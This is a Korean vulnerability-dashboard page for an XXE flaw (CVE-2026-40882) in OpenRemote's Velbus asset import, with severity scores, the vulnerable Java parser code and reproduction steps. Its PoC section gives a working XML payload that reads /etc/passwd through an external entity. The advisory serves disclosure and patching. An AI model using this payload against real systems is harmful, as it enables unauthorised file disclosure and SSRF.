Kestrel
대시보드로 돌아가기
CVE-2026-40882HIGH· 7.6MITRENVDGHSA대응게시일: 2026. 04. 22.수정일: 2026. 04. 27.

OpenRemote has XXE in Velbus Asset Import

XXE

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.6high

이론적 심각도 점수

EPSS
0.3%상위 82.6%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위불변
영향
기밀성 영향높음
무결성 영향낮음
가용성 영향낮음
버전별 점수
CVSS 3.17.6HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

상세 설명

Summary

The Velbus asset import path parses attacker-controlled XML without explicit XXE hardening. An authenticated user who can call the import endpoint may trigger XML external entity processing, which can lead to server-side file disclosure and SSRF. The target file must be less than 1023 characters.

Details

Velbus import uses DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(...) on untrusted XML input, without explicit safeguards to disable DTD/external entities.

text
1 @Override
2 public Future<Void> startAssetImport(byte[] fileData, Consumer<AssetTreeNode[]> assetConsumer) {
3
4 return executorService.submit(() -> {
5 Document xmlDoc;
6 try {
7 String xmlStr = new String(fileData, StandardCharsets.UTF_8);
8 LOG.info("Parsing VELBUS project file");
9
10 xmlDoc = DocumentBuilderFactory
11 .newInstance()
12 .newDocumentBuilder()
13 .parse(new InputSource(new StringReader(xmlStr)));

Expanded Caption content is propagated into created asset names:

text
1 String name = module.getElementsByTagName("Caption").item(0).getTextContent();
2 name = isNullOrEmpty(name) ? deviceType.toString() : name;
3
4 // TODO: Use device specific asset types
5 Asset<?> device = new ThingAsset(name);

PoC

  1. Log in to a realm with a user that can call Velbus asset import.
  2. Create/select a Velbus TCP Agent in that same realm.
  3. Send POST /api/{realm}/agent/assetImport/{agentId} with a Velbus project XML payload and compare behavior against a baseline import file.
  4. Save the below code as a xxe.xml and upload to Setup under https://localhost/manager/?realm=<YOUR_REALM>#/assets/false/<ASSET_ID>. Chnage the file:///etc/passwd to another file if your passwd is longer than 1023 characters.
text
1<?xml version="1.0" encoding="UTF-8"?>
2<!DOCTYPE velbus [
3 <!ENTITY xxe SYSTEM "file:///etc/passwd">
4]>
5<Project>
6 <Module type="VMB1RY" address="01" build="00" serial="LAB">
7 <Caption>&xxe;</Caption>
8 </Module>
9</Project>

As long as the file content is under 1023 characters, the exploit will succeed.
<img width="1200" height="662" alt="image" src="https://github.com/user-attachments/assets/213f063d-98b6-4717-b98c-f4255952026b" />

If the file content reaches the limit, an error is thrown.
<img width="1200" height="630" alt="image" src="https://github.com/user-attachments/assets/ee177a6b-2cb2-48ae-94df-c994ecb41429" />

Impact

  • Type: XML External Entity (XXE)
  • Affected: Deployments exposing Velbus import to authenticated users with import access
  • Risk: limited local file disclosure (as long as the file is under 1023 characters) from the Manager runtime, and SSRF.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.